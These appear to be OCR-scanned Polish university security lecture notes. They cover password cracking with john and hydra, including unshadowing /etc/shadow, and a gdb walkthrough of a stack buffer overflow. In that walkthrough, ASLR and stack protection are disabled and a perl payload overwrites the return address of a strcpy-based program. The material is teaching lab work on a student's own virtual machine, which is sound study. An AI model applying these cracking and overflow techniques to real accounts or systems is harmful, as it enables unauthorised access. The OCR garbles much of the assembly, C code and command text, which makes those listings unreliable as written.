j uka@lbol : ~/ bus/ hasl a$ john --wordlist=hasla.lst --rules hasla2.txt Loaded 1
password hash (crypt, generic crypt(3) [?/32])

Press 'q" or Ctrl-Cto abort, alnost any other key for status

j urek1954 (jurek)

1g 0:00: 00: 00 100% 3. 703g/s 18.51p/s 18.51c/s 18.51C s jurek1954..jrk1954
Use the "--show' option to display all of the cracked passwords reliably

Session conpl et ed

Przyktad 10-11 Lamanie hasta za pomoca programu j ohn, metoda stownikowa, hasto w stowniku

105  Srodki przeciwdziatania atakom typu brute force.
Aby przeciwdziatat opisanym wyzej atakom mozna zastosowaé nastepujace srodki:

Zablokowa¢ dostep do konta po zadanegj liczbie nieudanych wejs¢

Stosowa¢ dwuetapowsg autoryzacje. Na przyktad po podaniu hasta wysytany jest email z linkiem na ktéry nalezy
klikngé.

Zastosowac sprzetowy token generujacy hasta

Zmusi¢ uzytkownikéw do stosowania automatycznie generowanych mocnych haset

Zastosowac biomedyczne srodki autoryzacji

10.6 Zadania

10.6.1 Logowaniesie do systemu

Zapozngj si¢ z programem adduser i doda] w systemie Kali-Linux przyktadowego uzytkownika.

Zapoznaj si¢ z programem passwd, sprawdz jego opcje (passwd —h). Wyswietl status utworzonego uprzednio
uzytkownika, a nastgpnie zablokuj go i odblokuj.

10.6.2 Uzyskiwanie potencjalnych haset
Zapomoca programu cewl zbuduj liste haset wybranej witryny internetowej. Zapoznaj si¢ z tg lista. Pobierz
przyktadowe listy haset z internetu.

10.6.3 Lamanie hadla online w systemie Linux
Dodaj przyktadowego uzytkownika w systemie wirtualnym Kali Linux i ustaw jego hasto (najlepigj 3 literowe).
Nastepnie wykorzystujac narzedzie hydr a sprobuj uzyskaé dostep do systemu Kali-Linux.

10.6.4 Lamanie hasta oflinne w systemie Linux

Dodaj przyktadowego uzytkownika w systemie wirtualnym Kali Linux i ustaw jego hasto. Nastepnie z plikow

/et c/ passwd i/ et ¢/ shadowutworz klasyczny plik hasl a. t xt korzystajac z programu unshadow. Usuf z
pliku innych uzytkownikdw i przeslij plik do systemu macierzystego. Dalgj korzystajac z programu j ohn wykonaj
prébe tamania hasta metodami: klasyczna, klasyczng dla czterech rdzeni. Zaobserwuj obcigzenie rdzeni i zmierz czas
obliczen dla obydwu przyktadéw. Nastepnie pobierz przyktadowy stownik i wyprébuj metode stownikows.
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11. Ataki typu przepelnienie stosu

111 Wstep

Poprzez wykorzystanie luk w programach niekiedy mozna przeja¢ nad nimi kontrole i spowodowaé takieich
wykonanie ktére nie byto intencja jego autora. Program taki nosi nazwe exploita. Przejecie kontroli nad programem
najczescigl polega na sktonieniu go do wykonania wywotania systemowego uruchamiajacego interpreter polecen (ang.
Shell). Gdy program taki jest wtasnoscia uzytkownikar oot lub ma ustawiony bit sui d otwierato wrota do systemu.

11.2  Segmenty pamieci procesu, ramka stosu funkgji

Program tworzg segmenty pamieci, najwazniejsze z nich to:

1. Segment kodu - zawiera kod programu (instrukcje)

2. Segment danych - zawiera zmienne programu

3.  Segment sterty - zawierazmienne przydzielane dynamicznie

4. Segment stosu - zawiera zmienne lokalne funkcji, argumenty i adresy powrotu.

Segmenty te wskazywane s3 przez odpowiednie rejestry procesora co pokazuje ponizszy rysunek.

1. Segment kodu - rgjestr EIP wskazuje nasepna instrukcje
2. Segment danych - rgjestr DS
3. Segment stosu - rgjestr ESP
31 15 7 0
EAX AH AL AX - akumulator
EBX BH BL BX - rejestr danych
ECX CH CL CX - rejestr petli
EDX DH DL DX - rejestr arytmetyczny
ESI Sl - wskaznik zrédla
EDI DI - wskaznik przeznaczenia
EPB BP - wskaznik bazy
ESP SP - wskaznik stosu
N CS - segment kodu
i DS - segment danych
o SS - segment stosu
selektory segmentow ES - segment dodatkowy
FS - segment dodatkowy
N GS - segment dodatkowy
EIP \ \ | IP - licznik rozkazéw
EFlags | \ | PSW - flagi

Rys. 11-1 Rejestry procesoraw architekturze 1A-32 dlatrybu chronionego
Rejestry ESP i EBP zawieraja informacje o potozeniu stosu:

ESP zawiera adres wierzchotka stosu

EBP zawiera adres granicy stosu dlatak zwanej ramki stosu dla funkcji.
11.3 Elementy funkcji

Funkcje sg wydzielonymi fragmentami kodu, ktére moga by¢ niezaleznie rozwijane i testowane. Program dzieli si¢ na
funkcje by nada¢ mu strukture, wyeliminowa¢ powtarzajace si¢ fragmenty kodu i utatwi¢ uruchamianie. Funkcje moga
mie¢ parametry, czyli przekazywane jef wartosci od ktérych uzaleznione jest jg dziatanie. Funkcja operuje nakilku
strukturach ktére beds teraz wymienione.

Nazwa funkcji — symboliczne oznaczenie poczatkowego adresu kodu gdzie funkcja si¢ rozpoczyna.
Parametry funkcji — jednostki danych przekazywane do funkcji od ktérych uzaleznione jest jg dziatanie.

Zmienne lokal ne — zmienne pomaocnicze uzywane przez funkcje. Migjsce nanie jest rezerwowane (na stosie) gdy
funkcjajest wywotywana. Gdy funkcja si¢ konczy, pamie¢ uzywana przez zmienne lokalne jest zwalniana.

Zmienne statyczne — zmienne pomocnicze ktére s dostepne pomiedzy kolejnymi wywotaniami funkcji. Nie s3 one
dostepne dlainnych jednostek programu

Zmienne globalne — zmienne zdefiniowane na zewnatrz funkcji
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Adres powrotu — adres instrukgji od ktérej nalezy wznowi¢ program gdy funkcja si¢ zakonczy. Jest to potrzebne gdyz
funkcja moze by¢ wywotywana z roznych miejsc programu. Adres powrotu jest sktadowany na stosie automatycznie
przy wykonaniu funkcji cal | . Adres powrotu jest kopiowany do licznika instrukcji przy wykonaniu rozkazu r et .

Zwracana wartos¢ — jest to metoda przekazywania wyniku dziatania funkcji do funkcji wywotujacsj.

Sposbdb przekazywania parametréw do funkcji i pobieranie wynikow jest nazywane konwencja wywotywania (ang.
calling conwention). Sa one specyficzne dlajezykow programowania. Dlajezyka C opisano je w rozdziae 3
dokumentacji Intel® Architecture Software Developers Manual Volume 1: Basic Architecture. Nalezy sie z tym
rozdziatem zapoznac.

114  Stos

Operowanie na funkcjach intensywnie wykorzystuje stos programowy. Podstawowe instrukcje operujace na stosie
podane s3 ponizey.

popl |R'M | S/IZIANC

Sciaga stowo ze stosu do lokagji okreslongj przez RIM. Jest rownowazna instrukcji:
nmovl (%esp), R'M
po ktorel nastepuje:
addl $4, %esp
czyli zwigkszenie wskaznika stosu 0 4.
pushl |R'M | S/IZIANC
Przesyta stowo okreslone przez R/M na stos. Jest réwnowazna instrukcji:
subl $4, %esp (zmnigszenie wskaznika stosu o 4)
po ktorel nastepuje
movl I/RI'M (% sp).

Instrukcjapushl % eax przesyta nawierzchotek stosu zawartosé rejestru ¥eax. Jest ona réwnowazna instrukcjom:

subl $4, %esp
nmovl %eax, (%esp)

Pierwsza instrukcja zmniejsza wskaznik stosu ¥esp o 4 (gdyz bedziemy umieszcza¢ na stosie stowo 4 bajtowe). Druga
przesyta do komérki wskazywanej przez adres zawarty w rejestrze ¥esp (adresowanie indeksowe) zawartosé rejestru
Y%eax. Wazny jest tu nawias obejmujacy rejestr %esp co wskazuje na adresowanie indeksowane.

Instrukcjapopl %ebx pobiera4 bajty z wierzchotka stosui przesytaje do rejestru %ebx. Jest onaréwnowazna
instrukcjom:

movl (%esp), %ebx
addl $4, %esp

Dziatania te pokazane zostaty ponizej.
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stos stos stos
Mo wierzcholek Wie;gzglek
s 1234 stosu
T pushl %eax popl %ebx i
[ 1234 | %esp | weax [ 1234 | esp | [ 1234 | esp |
%eax Y%eax %ebx

Rys. 11-2 llustracja dziataniainstrukcji pushl  %eax i popl %ebx operujacych nastosie

115  Wywolywanie funkcji

Instrukcje zwigzane z wykonywanie funkcji podano ponizej.

Instruction Description
call  Label Procedure call
call  *=Operand Procedure call
leave Prepare stack for return
ret Return from call

Tab. 11-1 Instrukcje zwigzane z wywotywaniem funkcji

Powtarzalne fragmenty kodu umieszcza si¢ w funkcjach. Funkcja zazwyczaj posiada argumenty. Funkcja operuje na
swych argumentach i ewentualnie na zmiennych globalnych i konczy si¢ rozkazemr et . Aby wywota¢ fukcje nalezy:

Skopiowac na stosje parametry w odwrotnel kolgjnosci
Wykona¢ instrukcje cal | adres_funkcj i

Instrukcja cal | adres_funkcji powoduje skopiowanie nastos adresu instrukcji nastepujacej bezposrednio po
cal | (jest to adres powrotu z funkcji) a nastepnie zatadowanie do rejestru instrukcji %ei p adresu nowej funkgcji
(adr es_funkcj i ) bedacel argumentem wywotania. Spowoduje to rozpoczecie wykonywania kodu nowej funkcji.
Ogtatniainstrukcja funkcji czyli r et powoduje skopiowanie do licznika rozkazéw ze stosu adresu powrotu i
wznowienie wykonywania kodu czyli instrukcji nastepnej po cal | .

Instrukcja Operandy Flagi

cal Adres docel owy asl/ziAC

Skiaduje na stosie zawartos$¢ nastepngj instrukcji wskazywanej przez licznik rozkazéw %ei p i wykonuje skok
do instrukcji wskazanej w operandzie. Do okreslenia adresu skoku moznatez uzy¢ poprzedzonego gwiazdka
nazwy rejestru. Np. cal | *%eax spowoduje skok do adresu okreslonegow %eax.

ret | | S/IZIANC

Powrét z funkcji. Zdgjmuje ze stosu wartos¢ adresu powrotu i przesytaja do licznikarozkazéw %ei p.

Stos jest intensywnie wykorzystywany w jezyku C do organizacji wykonywania funkcji. Petni on nastepujace funkcje:

Przekazanie z funkcji wywotujacel do wywotywanej parametrow funkcji
Przechowanie adresu powrotu z funkgji
Zapewnienie migjsca na zmienne lokal ne funkgji

I stnigj e dobrze ugruntowana konwencja tworzenia funkcji w jezyku C (atakze w innych jezykach) ktora bedzie dalgj
opisana.
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adresy wysokie
stos ramka stosu
stos rosnie w funkcji main
dol
adres powrotu
EBP funkcji main
EBP > - ramka
zmienne lokalne stosu
sterta rosnie w T funkeji funkcji
gére ESP >
sterta
dane programu
kod programu
adresy niskie
A) Segmenty programu B) Ramka stosu dla funkcji

Rys. 2 Segmenty programu i ich potozenie w pamigci operacyjnej, ramka stosu

W sytuacji gdy wywotywana jest jakas funkcja na stosie tworzona jest tak zwana ramka stosu dlatej funkcji. Zawiera
ona

Parametry wywotywanej funkcji
Adres powrotu

Zachowang wartosé rejestru EBP
Zmienne lokalne

Kiedy funkcja konczy dziatanie to ramka zostaje usunieta ze stosu. Rejestry EBP i ESP wskazuja na potozenie ramki
stosu. Gdy funkcja konczy sie procesor musi wiedziec jaka kolgjnainstrukcja musi by¢ wykonana. Informacje te
zawiera umieszczony na stosie adres powrotu ktéry po zakonczeniu dziatania funkcji umieszczany jest w rejestrze
instrukcji EIP. W ten sposob sterowanie powraca do funkcji mai n. Gdyby udato si¢ zmieni¢ adres powrotu sterowanie
mogto by by¢ przekazane w inne miegjsce.

Przed wywotaniem funkcji, nalezy przesta¢ na stos argumenty funkcji w odwrotnej kolejnosci wzgledem
wystepowania na liscie argumentéw.

Paranetr #N

Paranmetr 2

Paranetr 1

Adres powotu <--- (%esp)

Rys. 11-3 Obraz stosu po wykonaniu rozkazu cal |
Przy wywotywaniu funkcji obowigzuja nastepujace reguty:
Poczatek stosu jest wyréwnany co do wielokrotnosci stowa 4 bajtowego (ang. Word Alligned)

Funkcja wywotujaca (ang. Caller) umieszcza na stosie argumenty w odwrotnej kolejnosci niz wystepuja naliscie
argumentow funkgji.

Wiekosé¢ argumentu ma by¢ zwickszona do 4 bajtéw gdy jest ona mnigjsza.

Zaktadasic zerejestry %ebp, Y%ebx, %edi , Yesi , ¥esp naeza do funkcji wywotujacej i powinny by¢ zachowane
przez funkcje wywotywana. W standardzie wywotywania funkcji dlajezyka C pewne rejestry petnig ustalona role:

Yesp Wskaznik stosu, wyznacza dolng granice stosu

Y%ebp Wskaznik biezacel ramki stosu. Przechowuje wartos¢ wskaznika stosu z chwili tuz po wejsciu do
nowej funkcji. Wzgledem tego wskaznika mozna adresowaé argumenty %ebp + 8, %ebp + 12,...
Badz zmienne lokalne nowej funkcji: %ebp — 4, %ebp — 8,...Rejestr musi by¢ przechowany przez
funkcje wywotujaca.

Yeax Przechowuje wartos¢ i nt zwracang przez funkcje. Gdy funkcja zwraca strukture, uni¢ lub inna
ztozong strukture jest to adreste struktury

Tab. 11-2 Rejestry zwigzanie z wywotywaniem funkcji

Jedrzej ULASIEWICZ - KatedraInformatyki Technicznej Politechniki Wroctawskiej

PDF created with pdfFactory trial version www.pdffactory.com



http://www.pdffactory.com
http://www.pdffactory.com

Bezpieczenstwo systeméw i ustug informatycznych 100

Wywotanie funkcji cal | adres_funkcji powoduje skopiowanie na stos adresu nastepng instrukcji po cal |, a
nastepnie przestanie do licznikarozkazéw %ei p adresu nowej funkgji.

Pierwsza rzecza ktéra robi nowa funkcja to przestanie na stos zawartosci rejestru %ebp czyli wykonanie instrukgcji
pushl %ebp. Nastepnie kopiuje sie do rejestru %ebp wskaznik stosu %esp przez wykonanie instrukcji nmovl
%esp, %ebp. Reestr %ebp nazywany jest wskaznikiem ramki stosu i petni on wazna rolg. Pozwala on na dostgp do
parametréw funkcji i do zmiennych lokalnych funkcji jako indeksdw wzgledem rejestru %ebp.

cal |l adres_funkcji
# w nowej funkcji

pushl %bp
nmovl %esp, Y%bp

Obraz stosu po wykonaiu tego kodu pokazano ponizej.

Paranmetr #N <--- N*4+4(%bp)

Par anetr 2 <--- 12(%bp)
Parametr 1 <--- 8(%bp)

Adres pow otu <--- 4(%bp)

Stary %bp <--- (%sp) i (Yebp)

Rys. 11-4 Obraz stosu po wykonaniu rozkazu cal |
Dla przyktadu rozwazymy wywotanie funkcji:
printf("The nunber is %", 88);

W assembl erze wywotanie wyglada jak ponize.

.section .data

text _string:

.ascii "The nunber is %\ 0"

.section .text

pushl $88

pushl $text_string

call printf

popl %eax

popl %eax #%eax jest rejestremni e wykorzystanym

Przyktad 11-1 Wywotanie sekwencji pri nt f (" The nunber is %", 88);
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11.6 Ramka stosu

Fragment stosu zaalokowany dla okreslongj funkcji nazywa si¢ ramka stosu tej funkcji (ang. stack frame). Kazdy
parametr funkcji moze by¢ odczytany jako indeksowany wzgledem %ebp jak pokazuje ponizszy diagram.

Position Contents Frame
4n+8 (%ebp) argument word » High addresses
o Previous

8 (%ebp) argument word 0
4 (%ebp) return address
0(%ebp) | previous %ebp (optional)

-4 (%ebp) unspecified Current
0 (%esp) variable size Low addresses

Rys. 11-5 Umieszczanie argumentow funkcji na stosie

Jezeli zatozymy ze kazdy argument funkcji zgmuje 4 bajty to adresem N-tego argumentu jest 8+4*N
(N=0, 1, 2, 3,...) wzgledem rejestru ¥%ebp. Zmienne lokalne takze trzymane s3 na stosie gdyz nie mozna
zagwarantowac ze zmieszcza Si¢ W rejestrach.  Drugim powodem lokalizacji zmiennych na stosie jest brak gwarancji ze
wywotywane w funkcji inne funkcje nie nadpisza uzywanych w funkgji rejestrow.

Kolegjnym krokiem, opcjonalnym, jest zachowanie rejestrow ktére moga by¢ nadpisane w wywotywanej funkcji a moga
by¢ potrzebne w funkcji wywotujacej. Nastepnym krokiem jaki moze by¢ wykonany, jest rezerwacja miejsca na stosie
dla zmiennych lokalnych. W podanym nizej przykladzie jest to 80 bajtow.

prologue:
pushl %ebp
movl  %esp, %ebp
subl 580, %esp
pushl %edi
pushl %esi
pushl Zebx

save frame pointer
set new frame pointer
allocate stack space
save local register
save local register
save local register

Py Ty T T Ty ey

Kod 11-1 Prolog wykonania nowej funkcji

Przyktadowo jezeli chcemy zarezerwowaé na stosie migjsce dla dwdch zmiennych 4 bajtowych zmniegjszamy wskaznik

stosu 0 8.
subl $8, %esp
Stos bedzie wtedy miat postac:

Parametr #N <--- N‘4+4(%bp)

Parametr 2 <--- 12(%bp)

Parametr 1 <--- 8(%bp)

Adres powotu <--- 4(%bp)

Stary %bp <--- (%bp)

Zm enna |l okalna 1 <--- -4(%bp)

Zm enna | okalna 2 <--- -8(%bp) 3 (%esp)

Rys. 11-6 Obraz stosu po rezerwacji miejsca na zmienne lokalne

Jak wida¢ zaréwno parametry funkgcji jak i zmienne lokalne sa dostepne jako przesuniecie wzgledem rejestru %ebp.
Ramka stosu pokazana jest ponize.
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aﬁlresy wieksze poczatek stosu
wczesniejsze ramki T
Ramka stosu funkcji
%ebp + 4*N arg N wywolujgcej J
%ebp + 8 arg 1
%ebp + 4 adres powrotu
wskaznik ramki ——» Zachowany %ebp
stosu %ebp 0 -
voebp - 4 Zachowane rejestry i
zmienne lokalne Ramka stosu biezgca
Argumenty nowego
adresy mniejsze wywolania wierzcholek

stosu %esp
Rys. 11-7 Ramka stosu
Aktual na ramka stosu ograniczona jest przez dwa rejestry:

Wskaznik ramki (ang. frame pointer) %ebp ktdéry wskazuje na poczatek ramki stosu funkgji.
Wskaznik stosu (ang. stack pointer) ¥%esp ktory wskazuje na koniec ramki stosu funkcji.

Kiedy funkcja sie konczy wykonywane sa nastepujace kroki.

1.  Wartos¢ zwracana przez funkcje przesytanajest do rejestru Yeax.

2. Przywrécenie stosu do postaci takigj jak w chwili gdy funkcja byta wywotywana. Zwolnienie miejsca na zmienne
lokalne i przywrdcenie poprzednigj wartosci ramki stosu %ebp.

3. Przestanie ze stosu do licznika instrukcji adresu nastepneg instrukcji po cal | . Wykonujeto rozkaz r et .

Zanim nastapi powr6t do funkcji wywotujacej, nalezy przywrdci¢ postaé stosu taka jaka byta bezposrednio po wejsciu

do funkcji. Stad musimy przywrdci¢ wartos¢ wskaznika stosu ¥esp i rejestru bazowego ¥ebp z chwili wejsciado

funkcji. Odbywa si¢ to przez skopiowanie do ¥esp zawartosci Yebp (novl %bp, %esp)i przywrdcenie

poprzedniej wartosci rejestru Y%ebp  (popl %ebp).

Czynnosci te moznawykona¢ jedng instrukcja | eave. Tak wigc zakonczenie funkcji ma postaé:

novl %ebp, %esp # odtwarzamy stary stos
popl %ebp # odtwar zany stary %ebp
ret # powot z funkcji

Rys. 11-8 Sekwencja zakonczenia funkcji

Gdy nastagpi powr6t z funkcji, to stos si¢ wycofa do poprzedniej postaci i pamie¢ na zmienne lokalne zostanie
zwolniona.

# wej scie do funkcji

pushl %bp # zabezpi eczeni e starego %bp

nmovl %esp, %bp # nowy %bp zawi era aktual ny wsk. stosu
# rozkazy funcji

#opuszczeni e funkji

nmovl %bp, %esp # odtwarzany stary stos
popl %bp # odtwarzany stary %ebp
ret # pow ot z funkcji

Kod 11-1 Wejscie i wyjscie z funkgji

Troche inny wzorzec zakonczenia funkcji podano ponizej. Przywraca on zachowane na stosie rejestry %ebx, %esi ,
%edi i umieszczaw Yeax z zwracang przez funkcje wartosc.
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[} movl  %edi, %eax / set up return value
epilogue:

popl Zebx / restore local register
popl %esi / restore local register
popl %edi / restore local register
leave / restore frame pointer
ret / pop return address

Kod 11-2 Inny wzorzec epilogu zakonczenia funkgji

11.7  Zmienneglobalnei lokalne

Zmienne globalne deklarowane s3 w segmentach . dat a i . bss. Zmienne loka ne utrzymywane s na stosie na
poczatku ramki stosu funkcji. Dostep do zmiennych globalnych i lokalnych jest rézny. Zmienne globalne dostepne sa
przez adresowanie bezposrednie, zmienne lokal ne posrednio wzgledem rejestru indeksowego %ebp.

int ny_global var;

int func(){
int ny_|local var;
ny_l ocal _var = 1;
my_gl obal _var = 2;
return O;

}

Przyktad 11-2 Funkcjafunc w jezyku C

.section .data
.lconm ny_gl obal var, 4
.type func, @unction

func:

pushl %ebp # zachowaj stary base pointer

nmovl %esp, %bp # skopiuj wskazni k stosu do base pointer
subl $4, %esp # zarezerwoj mejsce na ny_local _var

.equ ny_local _var, -4 # npbzna uzywac stalej my_l|local var by uzyskac
# dostep do zm ennej ny_local var

movl $1, ny_local _var (%bp)

movl $2, ny_gl obal _var

nmovl %ebp, %esp # zakonczenie funkcji i return

popl %ebp

ret

Przyktad 11-3 Funkcja func w jezyku assemblera

Rezerwacjamigjsca nastosie nazmienna my _| ocal _var nastepuje przez wykonanie odejmowania:
subl $4, %esp

Dostep jest wzglgdem rejestru ¥%ebp z przesunieciem —4.

11.8 Przebieg wywolania i wykonania funkcji, przepetnienie bufora
W nowoczesnych procesorach stosowane sg techniki zapobiegajace ztosliwym programom. Wymieni¢ tu mozna:

DEP - (ang. Data Execution Prevention) — oznaczenie danego obszaru jako dane, nie moze by¢ wykonany
jako kod.
ASLR - (ang. Address Space Layout Randomisation) — losowa zmiana lokalizacji tadowanych bibliotek.

W eksperymentach mechanizmy te powinny by¢ wytaczone co uzyskuje sie w nastepujacy sposob:
$nano /proc/sys/ kernel/randomn ze _va_space

W pliku bedzie zapisana wartos¢ 2, nalezy ja zmieni¢ na 0.
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W celu przeprowadzenie eksperymentu z przejeciem kontroli nad dziataniem programu tworzymy program jak ponizej:

#i ncl ude <string. h>
#i ncl ude <stdio. h>

void overflowed() {
printf("%\n", "Przechwcenie");
}

void function(char *str) {
char buffer[5];
strcpy(buffer,str);

}
void main(int argc, char *argv[])
{
function(argv[1]);
printf("%\n","Wkonani e zwkle");
}

Przyktad 11-4 Pr ogr am buf over. c

Kompilujemy program jak ponizej:

$gcc -g -fno-stack-protector -z execstack -o bufover bufover.c
Prébujemy wykona¢ program normalnie:

$. / buf over AAAA
Wkonani e zwykl e

Jak wida¢ pojawia si¢ komunikat sygnalizujacy wywotanie funkcji f unct i on i standardowe zakonczenie programul.
Uruchamiamy debugger gdb podajac jako parametr nazwe programu.

$gdb buf over
(gdb) list 4,16
4 voi d overflowed() {
5 printf("%\n", "Przechwycenie");
6 }
7
8 void function(char *str) {
9 char buffer[5];
10 strcpy(buffer,str);
11 }
12 void main(int argc, char *argv[])
13 {
14 function(argv[1]);
15 printf("%\n","Wkonani e zwkl e");
16 }

Wynik 1 Listowanie programu zrodtowego

Nastepnie ustawiamy putapki w liniach 14,10,11

(gdb) break 14

Breakpoint 1 at 0x8048462: file bufover.c, line 14.
(gdb) break 10

Br eakpoi nt 2 at 0x804843a: file bufover.c, line 10.
(gdb) break 11

Breakpoi nt 3 at 0x804844c: file bufover.c, line 11.
(gdb)info break

Breakpoint 1 at 0x8048462: file bufover.c, line 14.
Br eakpoi nt 2 at 0x804843a: file bufover.c, line 10.
Br eakpoi nt 3 at 0x804844c: file bufover.c, line 11.

Dalgj uruchamiamy program z parametrem AAAA
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(gdb) run AAAA

Starting program /root/|ab/BUS/ bufover AAAA

Br eakpoi nt

14 function(argv[1]);

1, main (argc=2, argv=0xbffff4b4) at

buf over.c: 14

Program dochodzi do putapki nalinii 14, funkcjaf uncti on niejest jeszcze wykonywana. Wyswietlamy zawartos¢

stosu, jego szczyt wskazuje adres zawarty w rejestrze esp a koniec wskazuje adres zawarty w rejestrze ebp.
Wyswietlenie zawartosci stosu odbywa sie poprzez wykonanie poleceniax/ 16xw $esp . x oznacza wyswietl
zawartos$¢ pamigci, 16 oznacza liczbe wyswietlanych jednostek, x — format (hexadecymalny), w — dtugos¢ jednostki
(stowo). Parametr $esp oznacza adres od ktdrego wyswietlat pamigé, w tym przypadku zawarty jest on w rejestrze

esp.

(gdb) x/16xw $esp
Oxbf f f f 3d0: Oxb7fb23dc
Oxbf fff3e0: Oxb7fb2000
Oxbf fff3f0: 0x00000002
Oxbf fff400: 0x00000000
(gdb) x/ 1xw $ebp

Oxbf f ff3d8: 0x00000000

(gdb)

Oxbf fff3f0
Oxb7f b2000
Oxbf f f f 484
0x00000000

0x00000000
0x00000000
Oxbf ff f 490
Oxb7f b2000

Oxb7elb5f 7
Oxb7elb5f 7
0x00000000
Oxb7fffc04

Ramka stosu dla funkcji mai n wygladajak ponize.
Oxbf f f f 3d0: Oxb7fb23dc Oxbffff3f0 0x00000000
Nastepnie przechodzimy do kolejngj putapki (naciskamy ¢ — cont i nue) i wyswietlamy stos przed wykonaniem

funkcji st r cpy.

(gdb) x/ 16xw $esp

Oxbf fff3a0: 0x00008000
Oxbf fff3b0: 0x00000002
Oxbf fff3c0: Oxbffff617
Oxbf fff3d0: Oxb7fb23dc

Oxb7f b2000
0x00000001
Oxbf f f f 484
Oxbf fff3f0

0x00000000
Oxbf fff3d8
Oxbf f f 490
0x00000000

Oxb7elb3la
0x08048473

0x080484b1

Oxb7elb5f 7

(gdb) x/ 1xw $ebp
Oxbf fff3b8: Oxbffff3ds

Ramka stosu dlafunkcji f unct i on wygladajak ponizej.

Oxbf f f f 3a0: 0x00008000 Oxb7fb2000 0x00000000 Oxb7elb3la
Oxbf f f f 3b0: 0x00000002 0x00000001 Oxbffff3d8 0x08048473
Nastepnie przeprowadzamy disassemblacje funkcji main.
(gdb) di sassenble main
Dunp of assenbler code for function main
0x0804844f <+0>: | ea Ox4( %esp) , ¥ecx
0x08048453 <+4>: and $OxfFfffffoO, Yesp
0x08048456 <+7>: pushl - 0x4(%ecx)
0x08048459 <+10>: push  %ebp
0x0804845a <+11>: nov Y%esp, Yebp
0x0804845¢c <+13>: push Yecx
0x0804845d <+14>: sub $0x4, Y%esp
0x08048460 <+17>: nov %ecx, Yeax
0x08048462 <+19>: mov Ox4( %eax) , Yeax Adres powrotu
0x08048465 <+22>: add $0x4, Y%eax —Funkgji <function>
0x08048468 <+25>: nov (Y%eax), Yeax
0x0804846a <+27>: sub $0xc, 9
0x0804846d <+30>: push ax
0x0804846e <+31>: 0x8048434 <functi on>
0x08048473 add $0x10, Yesp
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0x08048476 <+39>: sub $0xc, Y%esp

0x08048479 <+42>: push $0x804851e
0x0804847e <+47>; cal | 0x80482f 0 <puts@lt>
0x08048483 <+52>; add $0x10, %esp
0x08048486 <+55>: nop

0x08048487 <+56>: nov - 0x4( %ebp) , Yecx
0x0804848a <+59>: | eave

---Type <return> to continue, or g <return>to quit---B

Wida¢ jaki powinien by¢ adres powrotu z funkcji, (nastepny adres po instrukcji cal | 0x0804846e

<functi on>). Jest to adres0x08048473.
Nastepnie przechodzimy do kolejneg putapki i wyswietlamy stos po wykonaniu funkcji st r cpy.

(gdb) ¢

Cont i nui ng.
Br eakpoi nt 3,
11

(gdb) x/16xw $esp

function (str=0xbffff617 "AAAA") at bufover.c:11

Argument

4r—”’””~'~—~’~’::::;77 AAAA
0x4000000 0x00414141

Oxbf f f f 3a0: 0x00008000 Oxb7fb2000

Oxbf f f f 3b0: 0x00000002 0x00000001 Oxbffff3d8 0x08048473 Adres powrotu
Oxbf fff3c0: Oxbffff617 Oxbffff484 Oxbffff490 0x080484bl

Oxbf fff3d0: Oxb7fb23dc Oxbffff3f0 0x00000000 Oxb7elb5f7

(gdb) ¢

Cont i nui ng.

Wkonani e zwykl e

[Inferior 1 (process 1561) exited with code 021]

W obrazie stosu widzimy skopiowane do tablicy buffer[5] argumenty funkcji czyli ciag czterech liter AAAA, kod litery
A to 41. Widoczny jest takze kod powrotu 0x08048473. ldeaprzejeciakontroli nad programem jest prosta.
Wykorzystujemy fakt ze funkcjast r cpy(char *zro6dto, char *przeznaczeni e) ktérakopiujetancuch
zr 6d10 do migjscapr zeznaczeni e nie sprawdza czy bufor pr zeznaczeni e jest wystarczajaco duzy aby
pomiesci¢ tancuch zr 6dro. Jak wiemy bufor przeznaczenie umieszczony jest w zmienngj char buf f er [ 5] ktéra
umieszczona jest nastosie i ma diugosé 5 bajtéw. Jezeli argument programu bedzie dtuzszy niz 4 znaki nadpisze on
kolejne komarki stosu, a przy odpowiednieg dtugosci takze adres powrotu funkcji. Wpisujac tam poprzez odpowiedni
dobdr argumentu wywotania programu, adres funkcji over f | owed mozemy spowodowac jeg wykonanie.

ramka stosu
funkcji main

| adrespowrotu addr lafcuch .

_ : nadpisanie ancuch parametrow
EBP funkcji main adpresu funkciji function
char buffer[5] powrotu
ESP
overfloved
\_ »

P

Rys. 3 Nadpisanie adresu powrotu funkcji adresem funkcji overflowed.

Adres funkcji overflowed mozemy uzyska¢ przez jg disassemblacje co jest pokazane ponizej.

(gdb) di sass overfl owed

Dunp of assenbler code for function overfl owed:
0x0804841b <+0>: push %ebp
0x0804841c <+1>: nov Y%esp, Yebp
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0x0804841le <+3>: sub $0x8, Y%esp
0x08048421 <+6>: sub $0xc, Yesp
0x08048424 <+9>: push  $0x8048510
0x08048429 <+14>: cal | 0x80482f 0 <put s@l t >
0x0804842e <+19>: add $0x10, %esp
0x08048431 <+22>: nop
0x08048432 <+23>: | eave
0x08048433 <+24>: ret

End of assenbl er dunp.

Widzimy ze adresem funkcji overfl oved jest 0x0804841b. Adrestennalezy podstawi¢ nastosie w migjsce
adresu 0x08048473.

11.9

Spowodowanie wykonania funkcji over f | oved polega na odpowiednim doborze parametréw wywotania programu
tak aby na stosie w migjscu adresu powrotu 0x08048473 znalazt si¢ adres0x0804841b. Jako ze procesory Intel
uzywaj g porzadku bajtow Little Endian gdzie jako pierwsze zapisywane s mnigj znaczace bajty. Kolginos¢ bajtow
nalezy wiec odwrdéci¢. Uruchamiamy nasz program podajac jako parametr 17 liter A.

Wywolanie kontrolowanej awarii programu

(gdb) run $(perl -e "print "A" x 17 . "\x1b\ x84\ x04\ x08"")
The program bei ng debugged has been started al ready.

Start it fromthe beginning? (y or n) y
Starting program /root/|ab/BUS/ bufover $(perl
"\ x1b\ x84\ x04\ x08" ")

-e 'print "A" x 17 .

Breakpoint 1, main (argc=2, argv=0xbffff474) at bufover.c:14
14 function(argv[1]);
(gdb) ¢
Cont i nui ng.
Br eakpoi nt 2, function (
str=0xbffff606 ' A <repeats 17 times>, "\033\204\004\b") at bufover.c: 10
10 strcpy(buffer,str);
(gdb) ¢
Cont i nui ng.
Br eakpoi nt 3, function (str=0xbffff600 "") at bufover.c:11
11 }

Dalg wyswietlamy zawartos¢ stosu.

(gdb) x/20xw S$esp

Oxbf f ff 390:
Oxbf f f f 3a0:
Oxbf f ff3bO:
Oxbf fff3cO:
Oxbf f f f 3dO:

0x00008000
0x41414141
Oxbf f f f 600
Oxb7f b23dc
Oxb7f b2000

Oxb7f b2000
0x41414141
Oxbf fff474
Oxbf ff f 3e0
Oxb7f b2000

0x41000000
0x41414141
Oxbf f f f 480
0x00000000
0x00000000

0x41414141

0x080484104 |

